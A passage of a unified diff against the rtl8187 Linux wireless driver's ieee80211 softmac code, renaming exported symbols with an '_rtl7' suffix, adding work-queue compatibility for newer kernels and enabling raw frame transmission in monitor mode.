MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-06-08 23:30:47.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include 